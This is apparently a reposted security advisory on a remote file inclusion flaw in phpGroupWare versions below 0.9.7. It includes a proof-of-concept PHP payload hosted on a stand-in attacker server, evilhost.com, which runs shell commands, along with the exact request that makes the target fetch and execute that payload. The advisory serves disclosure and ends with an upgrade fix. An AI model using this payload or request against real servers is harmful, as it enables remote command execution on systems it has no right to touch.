COMMAND
phpGroupWare
SYSTEMS AFFECTED
Versions below 0.9.7 under Unix
PROBLEM
Following is based on a Secure Reality Advisories SRADV00006.
phpGroupWare is a multi-user web based groupware suite written in
PHP. phpGroupWare is quite popular due to its integration of many
aspects of group cooperation: email, calendaring, file sharing, to
do lists, etc.
phpGroupWare makes insecure calls to the include() function of
PHP which can allow the inclusion of remote files, and thereby
the execution of arbitrary commands on the remote web server with
the permissions of the web server user, usually 'nobody'.
This is an excellent example of another aspect of the remotely
accessible include files issue that has been discussed in detail
recently. The discussion has centered around the sensitive
information that can be contained in include files and the fact
that include files generally have the extension 'inc' and thus,
if web accessible, are returned to the requestor in plain text.
A common solution amongst freely available php scripts is to give
include files the extension .inc.php. This causes the include
file to always be processed by the PHP interpreter and therefore
not return in plain text sensitive configuration information,
like database passwords. Thus these programs can have easy
installation (untar everything into the web space) without
worrying about configuration disclosure.
The problem however then becomes one of context. Code and
configuration variables in include files tend to be highly
interdependent, that is, certain files and data must have already
been included before including a particular file. By directly
requesting the files we can break the interdependence chain and
cause data the include files could normally trust to become
untrustworthy.
Which leads us to the phpGroupWare vulnerability. We can
directly request the library include files that make up the
phpGroupWare API, one of these files, phpgw.inc.php performs an
include based on variables that should have been set as part of
the call chain. By providing them ourselves we can determine the
initial part of the following include statement:
include($phpgw_info["server"]["include_root"] .
"/phpgwapi/phpgw_info.inc.php");
By providing $phpgw_info[server][include_root] as a form variable
that points to a remote web server on which we can place files,
we can get the script to retrieve /phpgwapi/phpgw_info.inc.php
from that server and execute it.
For example, if we had access to place files in a webspace
http://evilhost.com/~shaun/ we would create a directory "phpgwapi"
and place inside it a script called phpgw_info.inc.php with
content like the following:
<?php
// PHP code to be executed
$phpcode = '
echo("Hi there!<BR>");
passthru("id");
';
// If we were called via remote include, send the code to be
// executed
if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP")
echo("<?php $phpcode ?>");
else
// Otherwise we're being executed on the target web server already,
// so simply evaluate the code
eval($phpcode);
exit();
?>
This script is designed so that the server it is placed on can be
PHP enabled and not result in the code being executed on the
attacking machine.
If we then make a request to the target machine like the following:
/phpgroupware/inc/phpgwapi/phpgw.inc.php?phpgw_info[server][include_root]=http://evilhost.com/~shaun
The code should be retrieved and executed.
It should be noted there are some caveats to this attack:
- The remote web server must be able to retrieve the file, i.e
no firewalls in the way
- The remote web server must not be running PHP under Windows
since remote file includes are not supported on this
platform
- The remote web server must be running a sufficiently recent
version of PHP that [][] form variables are allowed
- The remote web server must not have allow_url_fopen set off
- Later versions of phpGroupWare check the variable
$phpgw_info["server"]["header_version"] in phpgw.inc.php,
for those versions we need to provide that via form
variables too
There may well be others based on other versions/configurations
of PHP.
SOLUTION
Please upgrade to the latest version of phpGroupWare (0.9.7) at
http://sourceforge.net/project/showfiles.php?group_id=7305